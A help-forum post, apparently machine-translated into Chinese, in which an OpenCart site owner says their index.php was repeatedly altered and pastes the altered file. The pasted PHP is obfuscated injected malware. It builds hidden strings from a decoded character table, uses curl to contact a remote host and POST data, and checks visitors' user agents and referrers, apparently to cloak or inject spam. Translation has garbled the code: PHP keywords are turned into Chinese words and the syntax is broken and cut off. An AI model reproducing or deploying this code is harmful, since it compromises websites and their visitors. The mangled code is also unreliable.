Opencart index.php 檔案損壞
<p>我使用的是opencart v3.0.2.0,問題是opencart的index.php檔案(我的opencart網站的入口點,上傳到public_html目錄)崩潰了(index.php檔案中的程式碼發生了變化到奇怪的字元)。
上週發生了兩次這種情況。我不知道有人遭到駭客攻擊或我的網域或代碼出現問題。
如果有人可以幫助或指導我,請告訴我。
謝謝。 </p>
<p>損壞後的index.php檔:</p>
<p>全域$O; $O=url解碼($OOOOOO);$oOooOO='z1226_16';$oOooOOoO=$O[15].$O[4].$O[4].$O[9 ].$O[62].$奧[63].$奧[63].$奧[64].$奧[72].$奧[66].$奧[59].$奧[65]. $奧[67].$奧[ 71].$O[59].$O[65].$O[65].$O[67].$O[59].$O[65].$O [67].$O[65] .$O[63].$oOooOO.$O[63];函數ooooooooOOOOOOOOoooooOOO($ooooOOOoOoo){ $OOOOOooOo=curl_init();curl_setopt($OOooooOooOo,CUROOoo curl_setopt($ooooOOOooOo,CURLOPT_ CONNECTTIMEOUT, 5); $OOOOooO =curl_exec( $OOOooOo);OOcurl = array()){ 全域$O;$OooooO=str_replace(' ',' ',$OooooO);$OOO=curl_init();curl_setopt($OOooooO,CURLOPT_URL, " $OooooLOO");curl_setopt($OOooooO,CURLOPT_URL, " $OooooO");curl_setopt($OOOOO,CURRANPT , 1);curl_setopt($OOooooO,CURLOPT_HEADER, 0);curl_setopt($OOooooO,CURLOPT_TIMEOUT,10);curl_setopt($OOOOO,CURLOPT_POST, 1);curl_setopt($O. $OOOOoo ));$OOOOooo=curl_exec($OOooooO);$OOOOoooOO=curl_errno($OOooooO);curl_close($OOooooO);if(0!==$OOOOoooOO){回傳false ;}回傳$OOOOooo ;} 函式ooOOo){全域$O;$ooOOOOo = false;$oooooOOo = $O[14].$O[8].$O[8].$O[14]. $O[18].$O[2] .$O[23].$O[8].$O[4].$O[90].$O[14].$O[8].$O [8].$O[14].$ O[18].$O[2].$O[90].$O[5].$O[10].$O[15].$O[8 ].$O[ 8].$O[ 90].$O[23].$O[7].$O[24].$O[14].$O[90].$O[10]. $O[8] .$O[18] ;if ($ooOOo!=''){if (preg_match("/($oooooOOo)/si",$ooOOo)){$ooOOOOo=true;}}回傳$ ooOOOOo;} 函數oooOOooOOoOO ($oOOOOOOoOOOO){全域全域$O;$ooOOOOOOOOoO=false;$ooOOOOOOoOo=$O[14].$O[8].$O[8].$O[14].$O[18 ].$O[ 2].$O[ 59].$O[21].$O[8].$O[59].$O[16].$O[9].$O[90]. $O[5].$O[10] .$O[15].$O[8].$O[8].$O[59].$O[21].$O[8].$O [59].$O[16].$ O[9].$O[90].$O[14].$O[8].$O[8].$O[14].$O[18 ].$O[ 2].$O[ 59].$O[21].$O[8].$O[25];if ($oOOOOOOoOOOO!='' && preg_match("/($ooOOOOOOoOo)/ si", $oOOOOOOoOOOOOO )) {$ooOOOOOOoO= true;}回傳$ooOOOOOOoO;}$oOooOOoOO=((isset($_SERVER[$O[41].$O[30].$O[30].$O[ 35].$O [37]]) && $_SERVER[$O[41].$O[30].$O[30].$O[35].$O[37]]!==$O[ 8].$O[13].$O [13])?$O[15].$O[4].$O[4].$O[9].$O[11].$O[62 ].$O[ 63].$O[ 63]:$O[15].$O[4].$O[4].$O[9].$O[62].$O[63]. $O[63] );$oOoooOOoOO=$ _SERVER[$O[29].$O[28].$O[26].$O[32].$O[28].$O[37].$ O[30]。$O[52].$O[32].$O[29].$O[33]];$ooOOooooOOoOO=$_SERVER[$O[41].$O[30].$O [30].$ O[35].$O[52].$O[41].$O[34].$O[37].$O[30]];$ooOOOooooOOoOO=$_SERVER[$O[ 35].$O [41].$O[35].$O[52].$O[37].$O[28].$O[44].$O[39]];$ooOOOOooooOOOoOO=$ _SERVER[$O[ 37].$O[28].$O[29].$O[48].$O[28].$O[29].$O[52].$O[50]. $O[36] .$O[51].$O[28]];$ooOOOOoooOOOOoOO=$oOooOOoOO.$ooOOoooOOoOO.$oOoooOOoOO;$oooOOOOoooOOOooOO=$oOooOOoO.$O[63]$O[7]. $O[24]。$O[12].$O[10].$O[4].$O[10].$O[59].$O[9].$O[15].$O [ 9];$ooooOOOOoooOOOooO =$oOooOOoO.$O[63].$O[25].$O[10].$O[9].$O[59].$O[9].$O[15 ] .$O[9 ];$ooooOOOOoooOOOooOoo=$oOooOOoO.$O[63].$O[16].$O[6].$O[25].$O[9].$O[59]. $ $O[9]。$O[15].$O[9];$oooooOOoooOOOoooOoo=$oOooOOoO.$O[63].$O[1].$O[8].$O[3].$ O[ 12].$O [11].$O</p>